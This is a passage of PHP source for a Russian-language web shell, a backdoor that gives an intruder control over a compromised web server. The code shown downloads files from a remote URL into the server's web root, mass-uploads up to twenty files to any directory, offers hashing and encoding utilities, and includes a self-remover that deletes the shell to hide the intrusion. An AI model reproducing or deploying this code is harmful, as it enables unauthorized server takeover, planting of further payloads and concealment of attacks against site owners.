HTTP-путь к файлу: <br>
<input type='text' name='file3' value='http://' size=40><br>
Название файла или путь с названием файла: <br>
<input type='text' name='file2' value='$docr/' size=40><br>
<input type='submit' value='Загрузить файл'></form>";
$data =
@implode("", file($file3));
$fp =
@fopen($file2, "wb");
@fputs($fp, $data);
$ok =
@fclose($fp);
if($ok)
{
$size = filesize($file2)/1024;
$sizef = sprintf("%.2f", $size);
print "<br><center>Вы загрузили: <b>файл <u>$file2</u> размером</b> (".$sizef."кБ) </center>";
}
else
{
print "<br><center><font color=red size = 2><b>Ошибка загрузки файла</b></font></center>";
}
break;
// Tools
case "tools":
echo "<form method=post>Генерация md5-шифра<br><input name=md5 size=30></form><br>";
@$md5=@$_POST['md5'];
if(@$_POST['md5']){ echo "md5 сгенерирован:<br> ".md5($md5)."";}
echo "<br>
<form method=post>Кодирование/декодирование base64<br><input name=base64 size=30></form><br>";
if(@$_POST['base64']){
@$base64=$_POST['base64'];
echo "
Кодировано:<br><textarea rows=8 cols=80>".base64_encode($base64)."</textarea><br>
Декодировано: <br><textarea rows=8 cols=80>".base64_decode($base64)."</textarea><br>";}
echo "<br>
<form method=post>DES-кодирование:<br><input name=des size=30></form><br>";
if(@$_POST['des']){
@$des=@$_POST['des'];
echo "DES сгенерирован: <br>".crypt($des)."";}
echo "<br>
<form method=post>SHA1-кодирование:<br><input name=sha1 size=30></form><br>";
if(@$_POST['sha1']){
@$des=@$_POST['sha1'];
echo "SHA1 сгенерирован: <br>".sha1($sha1a)."";}
echo "<form method=POST>";
echo "html-код -> шестнадцатиричные значения<br><input type=text name=data size=30>";
if (isset($_POST['data']))
{
echo "<br><br><b>Результат:<br></b>";
$str=str_replace("%20","",$_POST['data']);
for($i=0;$i<strlen($str);$i++)
{
$hex=dechex(ord($str[$i]));
if ($str[$i]=='&') echo "$str[$i]";
else if ($str[$i]!='\\') echo "%$hex";
}
}
exit;
break;
// Mass Uploading
case "massupload":
echo "
Масовая загрузка файлов:<br>
<form enctype=\"multipart/form-data\" method=post>
<input type=file name=text1 size=43> <input type=file name=text11 size=43><br>
<input type=file name=text2 size=43> <input type=file name=text12 size=43><br>
<input type=file name=text3 size=43> <input type=file name=text13 size=43><br>
<input type=file name=text4 size=43> <input type=file name=text14 size=43><br>
<input type=file name=text5 size=43> <input type=file name=text15 size=43><br>
<input type=file name=text6 size=43> <input type=file name=text16 size=43><br>
<input type=file name=text7 size=43> <input type=file name=text17 size=43><br>
<input type=file name=text8 size=43> <input type=file name=text18 size=43><br>
<input type=file name=text9 size=43> <input type=file name=text19 size=43><br>
<input type=file name=text10 size=43> <input type=file name=text20 size=43><br>
<input name=where size=43 value='$docr'><br>
<input type=submit value=Загрузить name=massupload>
</form><br>";
if(@$_POST['massupload']){
$where=@$_POST['where'];
$uploadfile1 = "$where/".@$_FILES['text1']['name'];
$uploadfile2 = "$where/".@$_FILES['text2']['name'];
$uploadfile3 = "$where/".@$_FILES['text3']['name'];
$uploadfile4 = "$where/".@$_FILES['text4']['name'];
$uploadfile5 = "$where/".@$_FILES['text5']['name'];
$uploadfile6 = "$where/".@$_FILES['text6']['name'];
$uploadfile7 = "$where/".@$_FILES['text7']['name'];
$uploadfile8 = "$where/".@$_FILES['text8']['name'];
$uploadfile9 = "$where/".@$_FILES['text9']['name'];
$uploadfile10 = "$where/".@$_FILES['text10']['name'];
$uploadfile11 = "$where/".@$_FILES['text11']['name'];
$uploadfile12 = "$where/".@$_FILES['text12']['name'];
$uploadfile13 = "$where/".@$_FILES['text13']['name'];
$uploadfile14 = "$where/".@$_FILES['text14']['name'];
$uploadfile15 = "$where/".@$_FILES['text15']['name'];
$uploadfile16 = "$where/".@$_FILES['text16']['name'];
$uploadfile17 = "$where/".@$_FILES['text17']['name'];
$uploadfile18 = "$where/".@$_FILES['text18']['name'];
$uploadfile19 = "$where/".@$_FILES['text19']['name'];
$uploadfile20 = "$where/".@$_FILES['text20']['name'];
if (
@move_uploaded_file(@$_FILES['text1']['tmp_name'], $uploadfile1)) {
$where=str_replace("\\\\","\\",$where);
echo "<i>Загружено: $uploadfile1</i><br>";}
if (
@move_uploaded_file(@$_FILES['text2']['tmp_name'], $uploadfile2)) {
$where=str_replace("\\\\","\\",$where);
echo "<i>Загружено: $uploadfile2</i><br>";}
if (
@move_uploaded_file(@$_FILES['text3']['tmp_name'], $uploadfile3)) {
$where=str_replace("\\\\","\\",$where);
echo "<i>Загружено: $uploadfile3</i><br>";}
if (
@move_uploaded_file(@$_FILES['text4']['tmp_name'], $uploadfile4)) {
$where=str_replace("\\\\","\\",$where);
echo "<i>Загружено: $uploadfile4</i><br>";}
if (
@move_uploaded_file(@$_FILES['text5']['tmp_name'], $uploadfile5)) {
$where=str_replace("\\\\","\\",$where);
echo "<i>Загружено: $uploadfile5</i><br>";}
if (
@move_uploaded_file(@$_FILES['text6']['tmp_name'], $uploadfile6)) {
$where=str_replace("\\\\","\\",$where);
echo "<i>Загружено: $uploadfile6</i><br>";}
if (
@move_uploaded_file(@$_FILES['text7']['tmp_name'], $uploadfile7)) {
$where=str_replace("\\\\","\\",$where);
echo "<i>Загружено: $uploadfile7</i><br>";}
if (
@move_uploaded_file(@$_FILES['text8']['tmp_name'], $uploadfile8)) {
$where=str_replace("\\\\","\\",$where);
echo "<i>Загружено: $uploadfile8</i><br>";}
if (
@move_uploaded_file(@$_FILES['text9']['tmp_name'], $uploadfile9)) {
$where=str_replace("\\\\","\\",$where);
echo "<i>Загружено: $uploadfile9</i><br>";}
if (
@move_uploaded_file(@$_FILES['text10']['tmp_name'], $uploadfile10)) {
$where=str_replace("\\\\","\\",$where);
echo "<i>Загружено: $uploadfile10</i><br>";}
if (
@move_uploaded_file(@$_FILES['text11']['tmp_name'], $uploadfile11)) {
$where=str_replace("\\\\","\\",$where);
echo "<i>Загружено: $uploadfile11</i><br>";}
if (
@move_uploaded_file(@$_FILES['text12']['tmp_name'], $uploadfile12)) {
$where=str_replace("\\\\","\\",$where);
echo "<i>Загружено: $uploadfile12</i><br>";}
if (
@move_uploaded_file(@$_FILES['text13']['tmp_name'], $uploadfile13)) {
$where=str_replace("\\\\","\\",$where);
echo "<i>Загружено: $uploadfile13</i><br>";}
if (
@move_uploaded_file(@$_FILES['text14']['tmp_name'], $uploadfile14)) {
$where=str_replace("\\\\","\\",$where);
echo "<i>Загружено: $uploadfile14</i><br>";}
if (
@move_uploaded_file(@$_FILES['text15']['tmp_name'], $uploadfile15)) {
$where=str_replace("\\\\","\\",$where);
echo "<i>Загружено: $uploadfile15</i><br>";}
if (
@move_uploaded_file(@$_FILES['text16']['tmp_name'], $uploadfile16)) {
$where=str_replace("\\\\","\\",$where);
echo "<i>Загружено: $uploadfile16</i><br>";}
if (
@move_uploaded_file(@$_FILES['text17']['tmp_name'], $uploadfile17)) {
$where=str_replace("\\\\","\\",$where);
echo "<i>Загружено: $uploadfile17</i><br>";}
if (
@move_uploaded_file(@$_FILES['text18']['tmp_name'], $uploadfile18)) {
$where=str_replace("\\\\","\\",$where);
echo "<i>Загружено: $uploadfile18</i><br>";}
if (
@move_uploaded_file(@$_FILES['text19']['tmp_name'], $uploadfile19)) {
$where=str_replace("\\\\","\\",$where);
echo "<i>Загружено: $uploadfile19</i><br>";}
if (
@move_uploaded_file(@$_FILES['text20']['tmp_name'], $uploadfile20)) {
$where=str_replace("\\\\","\\",$where);
echo "<i>Загружено: $uploadfile20</i><br>";}
}
exit;
break;
case "selfremover":
print "<tr><td>";
print "<center><font color=red face=verdana size=3>Ты уверен, что хочешь удалить этот шелл с сервера?<br><br>
<a href='$php_self?p=yes'>Да, хочу</a> | <a href='$php_self?'>Нет, пусть еще побудет</a><br><br><br>
Будем удалять <u>";
$path=__FILE__;
print $path;
print "</u>?</td></tr></center></table>";
die;
}
if($p=="yes"){
$path=__FILE__;
@unlink($path);
$path=str_replace("\\","/",$path);
if(file_exists($path)){$hmm="Файл невозможно удалить!";
print "<tr><td><font color=red>Файл $path не удален!</td></tr>";
}else{$hmm="Удален";}
print "<script>alert('$path $hmm');</script>";
}
break;
?>